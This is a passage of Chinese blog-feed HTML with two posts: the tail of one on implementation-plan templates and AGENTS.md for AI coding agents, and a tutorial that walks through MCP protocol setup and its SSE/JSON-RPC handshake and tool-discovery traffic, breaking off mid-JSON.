class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># &lt;功能 / 缺陷&gt; 实现规划报告</span></span><br><span class="line"></span><br><span class="line"><span class="section">## 一、概述</span></span><br><span class="line"></span><br><span class="line">简要说明<span class="strong">**当前存在的问题或缺失的能力**</span>，以及<span class="strong">**期望的正确行为**</span>。</span><br><span class="line"></span><br><span class="line"><span class="section">## 二、现状分析</span></span><br><span class="line"></span><br><span class="line">描述系统当前的实际行为，以及<span class="strong">**问题产生的原因**</span>。</span><br><span class="line"></span><br><span class="line"><span class="section">### 关键发现 </span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 涉及的核心模块或组件</span><br><span class="line"><span class="bullet">*</span> 系统目前在哪些位置接受了不合理或无效的配置 / 输入</span><br><span class="line"><span class="bullet">*</span> 这些配置在后续流程中是如何被忽略、丢失或错误处理的</span><br><span class="line"><span class="bullet">*</span> 是否存在可参考的类似实现或既有约束模式</span><br><span class="line"></span><br><span class="line"><span class="section">## 三、范围约束</span></span><br><span class="line"></span><br><span class="line">明确列出<span class="strong">**不会做的事情**</span>，用于约束实现范围，防止需求蔓延。</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 不修改语法或解析规则（如适用）</span><br><span class="line"><span class="bullet">*</span> 不调整运行时行为或执行逻辑</span><br><span class="line"><span class="bullet">*</span> 不引入新的功能支持</span><br><span class="line"><span class="bullet">*</span> 不做破坏性或不兼容的变更</span><br><span class="line"></span><br><span class="line"><span class="section">## 四、实现思路</span></span><br><span class="line"></span><br><span class="line">从整体上说明<span class="strong">**采用什么方式解决问题**</span>，以及<span class="strong">**为什么选择这种方式**</span>。</span><br><span class="line">如有可能，指出本次实现将遵循的既有模式或惯例。</span><br><span class="line"></span><br><span class="line"><span class="section">## 五、核心实现</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 阶段目标</span></span><br><span class="line"></span><br><span class="line">说明这一阶段完成后，系统行为将发生的变化。</span><br><span class="line"></span><br><span class="line"><span class="section">### 具体改动</span></span><br><span class="line"></span><br><span class="line"><span class="section">#### 1. &lt;模块 / 校验器 / 组件&gt; 增强</span></span><br><span class="line"></span><br><span class="line"><span class="strong">**文件路径**</span>：<span class="code">`&lt;path/to/file&gt;`</span></span><br><span class="line"><span class="strong">**改动说明**</span>：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 新增哪些校验或逻辑判断</span><br><span class="line"><span class="bullet">*</span> 检查哪些非法或不支持的情况</span><br><span class="line"><span class="bullet">*</span> 在何处抛出错误或提示</span><br><span class="line"><span class="bullet">*</span> 错误信息应具备的清晰度和定位能力</span><br><span class="line"></span><br><span class="line"><span class="code">```pseudo</span></span><br><span class="line"><span class="code">遍历相关实体：</span></span><br><span class="line"><span class="code">  遍历其配置或属性：</span></span><br><span class="line"><span class="code">    如果命中非法条件：</span></span><br><span class="line"><span class="code">      生成明确的校验错误并标注精确位置</span></span><br><span class="line"><span class="code">```</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 成功标准</span></span><br><span class="line"></span><br><span class="line"><span class="section">#### 自动化验证</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> [ ] 针对性测试通过</span><br><span class="line"><span class="bullet">*</span> [ ] 全量测试套件通过</span><br><span class="line"><span class="bullet">*</span> [ ] 静态检查 / lint 通过</span><br><span class="line"></span><br><span class="line"><span class="section">#### 人工验证</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> [ ] 非法用法能正确报错</span><br><span class="line"><span class="bullet">*</span> [ ] 错误信息清晰、可理解</span><br><span class="line"><span class="bullet">*</span> [ ] 报错位置准确</span><br><span class="line"><span class="bullet">*</span> [ ] 合法用法不受影响</span><br><span class="line"></span><br><span class="line"><span class="section">## 六、回归测试</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 阶段目标</span></span><br><span class="line"></span><br><span class="line">确保新增校验逻辑不会在未来被意外移除或回退。</span><br><span class="line"></span><br><span class="line"><span class="section">### 具体改动</span></span><br><span class="line"></span><br><span class="line"><span class="section">#### 新增测试用例</span></span><br><span class="line"></span><br><span class="line"><span class="strong">**文件路径**</span>：<span class="code">`&lt;path/to/test/file&gt;`</span></span><br><span class="line"><span class="strong">**改动说明**</span>：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 构造一个明确的非法示例</span><br><span class="line"><span class="bullet">*</span> 声明期望的错误信息与位置</span><br><span class="line"></span><br><span class="line"><span class="code">```text</span></span><br><span class="line"><span class="code">// 非法配置示例</span></span><br><span class="line"><span class="code">// 期望的错误输出与定位说明</span></span><br><span class="line"><span class="code">```</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 验收标准</span></span><br><span class="line"></span><br><span class="line"><span class="section">#### 自动化验证</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> [ ] 测试被自动纳入测试套件</span><br><span class="line"><span class="bullet">*</span> [ ] 期望输出与实际一致</span><br><span class="line"><span class="bullet">*</span> [ ] 常规测试执行通过</span><br><span class="line"></span><br><span class="line"><span class="section">#### 人工验证</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> [ ] 错误信息符合预期</span><br><span class="line"><span class="bullet">*</span> [ ] 定位信息准确无误</span><br><span class="line"></span><br><span class="line"><span class="section">## 七、测试策略</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 单元测试</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 覆盖所有非法场景</span><br><span class="line"><span class="bullet">*</span> 覆盖不同变体和边界情况</span><br><span class="line"></span><br><span class="line"><span class="section">### 集成测试</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 确认无回归问题</span><br><span class="line"><span class="bullet">*</span> 原有合法行为保持不变</span><br><span class="line"></span><br><span class="line"><span class="section">### 人工测试步骤</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span> 构造非法配置</span><br><span class="line"><span class="bullet">2.</span> 执行校验，确认报错</span><br><span class="line"><span class="bullet">3.</span> 修正配置</span><br><span class="line"><span class="bullet">4.</span> 再次验证通过</span><br><span class="line"></span><br><span class="line"><span class="section">## 八、性能影响评估</span></span><br><span class="line"></span><br><span class="line">说明为什么该改动在性能上是安全的，例如：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 数据规模预期较小</span><br><span class="line"><span class="bullet">*</span> 遍历层级有限</span><br><span class="line"><span class="bullet">*</span> 相较于现有校验逻辑，额外开销可以忽略</span><br><span class="line"></span><br><span class="line"><span class="section">## 九、迁移说明</span></span><br><span class="line"></span><br><span class="line">说明是否需要迁移或用户操作：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 无需迁移（仅新增校验）</span><br><span class="line"><span class="bullet">*</span> 或说明必要的迁移步骤（如适用）</span><br><span class="line"></span><br><span class="line"><span class="section">## 十、参考资料</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 原始问题 / 工单</span><br><span class="line"><span class="bullet">*</span> 调研记录或分析文档</span><br><span class="line"><span class="bullet">*</span> 相关实现或相似模式</span><br><span class="line"><span class="bullet">*</span> 对应测试或文档位置</span><br></pre></td></tr></table></figure><h3 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h3><p>这一阶段的目标是严格执行已确认的技术方案，按照既定计划逐步落地，并在每个步骤完成后进行对应的验证。</p><h3 id="人工审查"><a href="#人工审查" class="headerlink" title="人工审查"></a>人工审查</h3><p>每个阶段都会产出对应的文档或代码，这些产出都需要经过人工审查。审查的重点会随着阶段前移而提高：越靠前的环节，其结论和决策对后续影响越大，因此审查也应越严格。</p><p>换言之，应当重文档、轻代码——前期通过对调研报告和技术方案的严格审查，尽可能消除方向性错误；一旦进入实现阶段，代码改动本身反而更偏向执行与验证，其审查成本也相对可控。</p><h1 id="代码库优化"><a href="#代码库优化" class="headerlink" title="代码库优化"></a>代码库优化</h1><p>在引入代码智能体之后，代码库中的文档不再只有一个受众。因此，需要对代码库文档结构做有意识的拆分。</p><h2 id="README-md"><a href="#README-md" class="headerlink" title="README.md"></a>README.md</h2><p><code>README.md</code> 的定位是<strong>面向人类的入口文档</strong>，其目标是帮助开发者快速理解项目，常见的章节包括：</p><ul><li>项目简介</li><li>快速上手指南</li><li>基本使用方式</li><li>贡献指南</li></ul><h2 id="AGENTS-md"><a href="#AGENTS-md" class="headerlink" title="AGENTS.md"></a>AGENTS.md</h2><p>与 README.md 相对应，<code>AGENTS.md</code> 的定位是<strong>面向代码智能体的入口文档</strong>，其目标是提供精确的上下文，常见的章节包括：</p><ul><li>架构介绍，列举关键模块与模块之间的职责边界</li><li>构建与测试命令，明确指出标准构建方式、测试入口以及常见组合命令</li><li>代码风格与约定，包括命名规范、目录约定、是否允许自动格式化等</li><li>测试流程，哪些测试必须通过</li><li>安全与限制，禁止修改的目录、敏感文件、外部依赖使用限制等</li></ul><p>大部分代码智能体会约定性地读取 <code>AGENTS.md</code>，而不是让用户显示说明。虽然 <code>README.md</code> 通常也会被读取，但只有 <code>AGENTS.md</code>  被视为必须遵守的规则。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="ai-engineering" scheme="https://www.fireflycamp.net/categories/ai-engineering/"/>
    
    
  </entry>
  
  <entry>
    <title>大模型应用：MCP 协议</title>
    <link href="https://www.fireflycamp.net/2026/01/03/2026-01-03-mcp-protocol/"/>
    <id>https://www.fireflycamp.net/2026/01/03/2026-01-03-mcp-protocol/</id>
    <published>2026-01-02T18:57:19.000Z</published>
    <updated>2026-01-18T12:03:54.534Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/2026/01/03/2026-01-03-mcp-protocol/cover.jpg" class=""><h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>大模型应用需要面对训练数据或是模型本身的局限性。</p><p>一个直观的例子是：用户想要应用根据最近的天气预报来去制定旅行计划。但天气属于实时数据，通常不包含在模型的训练数据中。此时，大模型本身无法给出可靠答案，应用需要依赖某个天气预报服务来完成任务。</p><p>另外一个更典型的例子是计数问题。大模型本身不擅长计数，这是由于其工作机制决定的。模型在底层会将文本拆分为词元（token）进行概率预测，而不是逐字符处理，因此在涉及字符频率、精确数量等问题时，输出往往不稳定：</p><figure>  <img src="/2026/01/03/2026-01-03-mcp-protocol/llama-counting-failure.png" class="">  <figcaption>图一：llama3.1 无法稳定解答字符出现频率</figcaption></figure><p>但与此同时，大模型很擅长生成解决计数问题的代码：</p><figure>   <img src="/2026/01/03/2026-01-03-mcp-protocol/llama-counting-codegen.png" class="">  <figcaption>图二：llama3.1 正确输出频率计算代码</figcaption></figure><p>在这种情况下，应用只需要调用本地的 Python 解释器执行这段代码，就可以得到准确结果。如今市面上的大多数 AI 对话产品，在处理复杂计算、数据分析等问题时，都会在幕后调用计算器、代码解释器或其他工具。大模型本身只负责理解问题并给出“该做什么”，而不真正参与计算过程。</p><p>按照传统方式开发大模型应用，开发者需要为每一个工具（远端服务或是本地能力）单独编写一套交互逻辑，包括但不限于：接口协议、身份认证、参数校验、错误处理以及权限控制。这种模式在系统规模较小时尚可接受，但随着工具数量增加，其缺陷会迅速放大——</p><ul><li>新增一个工具，就要改一轮应用代码</li><li>工具接口一旦变更，应用需要同步调整</li><li>不同应用之间几乎无法复用同一套集成逻辑<br>这种高度耦合、缺乏标准化的方式，并不具备良好的拓展性，也逐渐成为限制大模型应用进一步演进的瓶颈。</li></ul><p>正是在这样的背景下，Model Context Protocol（MCP）被提出，用来系统性地解决“大模型应用如何与外部系统沟通”的问题。</p><h1 id="MCP-概述"><a href="#MCP-概述" class="headerlink" title="MCP 概述"></a>MCP 概述</h1><p>MCP 遵循<strong>客户端–服务端架构</strong>，其核心目标是为大模型使用外部工具提供一套<strong>统一、标准化</strong>的交互框架。在这一架构中，大模型应用并不直接与具体工具或服务交互，而是通过 MCP 这一协议层完成能力发现与调用。</p><ul><li><p><strong>MCP 客户端（Client）</strong><br>MCP 客户端通常嵌入在大模型应用内部，负责将模型产生的工具调用意图转化为符合协议规范的请求。同时，它会接收并解析来自 MCP 服务端的响应结果，再将结果注入回模型上下文或应用逻辑中。</p></li><li><p><strong>MCP 服务端（Server）</strong><br>MCP 服务端通常由具体工具或能力的提供方实现，用于对外暴露其可用能力。这些能力以标准化的形式描述，包括工具列表、调用参数、返回结构以及必要的说明信息，而不关心客户端或模型的具体实现。</p></li></ul><p>客户端与服务端之间通过<strong>标准化的 JSON-RPC 消息格式</strong>进行交互。这种设计使协议本身不依赖于具体的底层传输方式，既可以运行在 HTTP、TCP、WebSocket 之上，也可以通过本地 pipe 等方式进行通信。</p><h1 id="实例搭建"><a href="#实例搭建" class="headerlink" title="实例搭建"></a>实例搭建</h1><p>我们可以用 Cloudflare 提供的 MCP 服务模板迅速搭建一个服务实例。打开终端，执行以下命令：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm create cloudflare@latest -- my-mcp-server --template=cloudflare/ai/demos/remote-mcp-authless</span><br><span class="line"><span class="built_in">cd</span> my-mcp-server</span><br><span class="line">npm start</span><br></pre></td></tr></table></figure><p>程序成功启动后，会在终端中输出服务监听的端口号：</p><figure>  <img src="/2026/01/03/2026-01-03-mcp-protocol/mcp-server-start.png" class="">  <figcaption>图三：启动 MCP 服务</figcaption></figure><p>接下来启动 <strong>MCP Inspector</strong>。该工具可以作为一个临时的 MCP 客户端，用于测试和调试 MCP 服务端提供的能力。打开一个新的终端窗口并执行：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npx @modelcontextprotocol/inspector@latest</span><br></pre></td></tr></table></figure><figure>  <img src="/2026/01/03/2026-01-03-mcp-protocol/mcp-inspector-start.png" class="">    <figcaption>图四：启动 MCP Inspector</figcaption></figure><p>启动成功后，会进入 MCP Inspector 的控制台界面。此时需要在左侧配置连接参数，将端口号替换为前面 MCP 服务启动时打印的端口号即可完成连接：</p><figure>  <img src="/2026/01/03/2026-01-03-mcp-protocol/mcp-inspector-console.png" class="">  <figcaption>图五：MCP Inspector 控制台</figcaption></figure><p>至此，实例搭建完成。</p><h1 id="流量分析"><a href="#流量分析" class="headerlink" title="流量分析"></a>流量分析</h1><p>我们可以使用 Chrome 浏览器的开发者工具（F12，切换到 <strong>Network</strong> 标签页）对 MCP 的通信过程进行流量分析。过滤条件选择 <strong>Fetch&#x2F;XHR</strong>，以便只关注由 JavaScript 发起的网络请求。</p><p>在当前示例中，MCP 采用的是 <strong>HTTP 请求 + SSE（Server-Sent Events）推流</strong> 的传输模式。因此，在任何 MCP 消息发送之前，客户端会首先与服务端建立一条 <strong>SSE 长连接</strong>：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;</span><br><span class="line"><span class="keyword">GET</span> <span class="string">/sse</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/event-stream</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-mel">&lt;&lt;</span></span><br><span class="line"><span class="language-mel">HTTP/<span class="number">1.1</span> <span class="number">200</span> OK</span></span><br><span class="line"><span class="language-mel">Content-Type: <span class="keyword">text</span>/<span class="keyword">event</span>-stream</span></span><br><span class="line"><span class="language-mel">...</span></span><br></pre></td></tr></table></figure><p>该请求的响应不会立即结束，而是保持打开状态，用于后续持续接收服务端推送的事件。</p><p>查看 SSE 响应流，可以看到服务端向客户端推送的第一条事件是 <code>endpoint</code>：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">event:</span> <span class="string">endpoint</span></span><br><span class="line"><span class="attr">data:</span> <span class="string">/sse/message?sessionId=d281d68617db3d18923a008d7a19737a3ee81f2ce2b2cbf426861b30db4cd6d3</span></span><br></pre></td></tr></table></figure><p>这是一条<strong>传输层控制事件</strong>，用于告知客户端后续上行请求应当访问的路径，并同时分配本次会话所使用的 <code>sessionId</code>。需要注意的是，这一过程并不属于 MCP 协议本身，而是 MCP over SSE 的实现约定。</p><p>在此之后，客户端发送的所有 MCP 请求，其基本形式均为：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/sse/message?sessionId=d281d68617db3d18923a008d7a19737a3ee81f2ce2b2cbf426861b30db4cd6d3</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/event-stream</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>在请求被成功接收的情况下，服务端会立即返回：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">HTTP/1.1</span> <span class="number">202</span> Accepted</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>8</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>text/event-stream</span><br></pre></td></tr></table></figure><p>该响应仅表示请求已被接收并进入处理流程，而<strong>不包含任何业务结果</strong>。当服务端完成实际处理后，会将结果通过之前建立的 SSE 通道推送给客户端：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">event:</span> <span class="string">message</span></span><br><span class="line"><span class="attr">data:</span> &#123;<span class="string">事件载荷</span>&#125;</span><br></pre></td></tr></table></figure><p>这种“请求与响应分离”的通信模式与传统 HTTP 接口有明显不同，但它带来的好处也很直观：客户端可以在同一时间并发发起多个工具调用请求，而无需等待某个请求返回后才能继续发送下一个。</p><h2 id="MCP-握手"><a href="#MCP-握手" class="headerlink" title="MCP 握手"></a>MCP 握手</h2><p>在 MCP 会话建立阶段，客户端与服务端会完成一次明确的初始化流程。该流程由两条 JSON-RPC 消息构成，通常被称为“两阶段握手”。</p><p>第一阶段，客户端发送 <code>initialize</code> 请求：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span> <span class="string">&quot;initialize&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;params&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;protocolVersion&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-11-25&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;capabilities&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;sampling&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;elicitation&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;roots&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;listChanged&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span> <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;clientInfo&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;inspector-client&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.18.0&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>该请求主要完成三项工作：</p><ol><li><strong>MCP 协议版本声明</strong>：通过 <code>protocolVersion</code> 指明客户端期望使用的协议版本</li><li><strong>客户端能力声明</strong>：通过 <code>capabilities</code> 告知服务端客户端能够理解和处理的协议特性</li><li><strong>客户端身份信息</strong>：通过 <code>clientInfo</code> 提供用于调试和日志的客户端信息</li></ol><p>服务端在收到该请求后，会通过 SSE 推送一条 <code>message</code> 事件作为响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">event<span class="punctuation">:</span> message</span><br><span class="line">data<span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;result&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;protocolVersion&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-06-18&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;capabilities&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;tools&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="attr">&quot;listChanged&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span> <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;serverInfo&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Authless Calculator&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1.0.0&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>该响应同样完成了三件事：</p><ol><li><strong>确定最终使用的协议版本</strong>：若双方版本不同，以服务端返回的版本为准</li><li><strong>服务端能力声明</strong>：<code>tools.listChanged</code> 表示工具列表在会话期间可能发生变化</li><li><strong>服务端身份信息</strong>：用于标识当前 MCP 服务</li></ol><p>在客户端成功处理完上述响应后，会发送第二阶段的通知：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span> <span class="string">&quot;notifications/initialized&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>该消息用于显式告知服务端：客户端已完成初始化，可以进入正常通信阶段。该通知不要求服务端返回任何内容。</p><h2 id="工具发现"><a href="#工具发现" class="headerlink" title="工具发现"></a>工具发现</h2><p>在 MCP Inspector 中点击 <strong>List Tools</strong> 后，客户端会发起如下请求以获取可用工具列表：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tools/list&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;params&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;_meta&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;progressToken&quot;</span><span class="punctuation">:</span> <span class="number">1</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>服务端随后通过 SSE 推送工具清单：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;jsonrpc&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;result&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;tools&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;add&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;inputSchema&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;$schema&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://json-schema.org/draft-07/schema#&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;object&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;a&quot;</span><span 